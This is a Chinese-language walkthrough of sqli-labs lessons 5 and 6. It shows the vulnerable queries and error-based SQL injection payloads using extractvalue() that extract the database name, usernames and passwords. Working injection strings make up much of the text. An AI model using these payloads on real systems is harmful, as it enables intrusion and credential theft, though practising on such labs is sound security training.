从第五关开始,数据库的一些信息就没有再直接地显示在网页中了,因此我们需要选择一些其他的方法来让我们得到想要的信息。
在文本编辑器中我们可以提前知道less-5中使用的sql语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这样我们可以提起知道待会需要输入的数据格式。
如上,当?id=1'--+时网页没有报错。
当我们像处理前四题一样构建数据时,网页上并没有出现我们想要的结果。
所以,我们需要通过让它报错来得到我们想要得到的信息。
接下来我们将使用到下面两个函数:
extractvalue(xml文档字符串,xpath格式字符串) 对XML文档进行查询的函数
updatexml(xml文档字符串,xpath格式字符串,替换字符串) 对XML文档进行查询并更新的函数
GET /sqli2/sqli2/Less-5/?id=1000' union select 1,2,extractvalue(1,concat('%',database()))--+
笔者这使用的是 extractvalue 函数,网页成功报错同时显示了数据库的名字。
GET /sqli2/sqli2/Less-5/?id=1000' union select 1,2,extractvalue(1,concat('%',(select group_concat(username) from users)))--+ HTTP/1.1
GET /sqli2/sqli2/Less-5/?id=1000' union select 1,2,extractvalue(1,concat('%',(select group_concat(password) from users)))--+ HTTP/1.1
通过这个方法我们也能让它显示出用户名和密码,但是这个方法会限制它显示的内容,只能显示出31个字符。
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
这是第六题的sql语句,与前面的题大同小异,简单更改一下输入的内容就能得到上面的结果。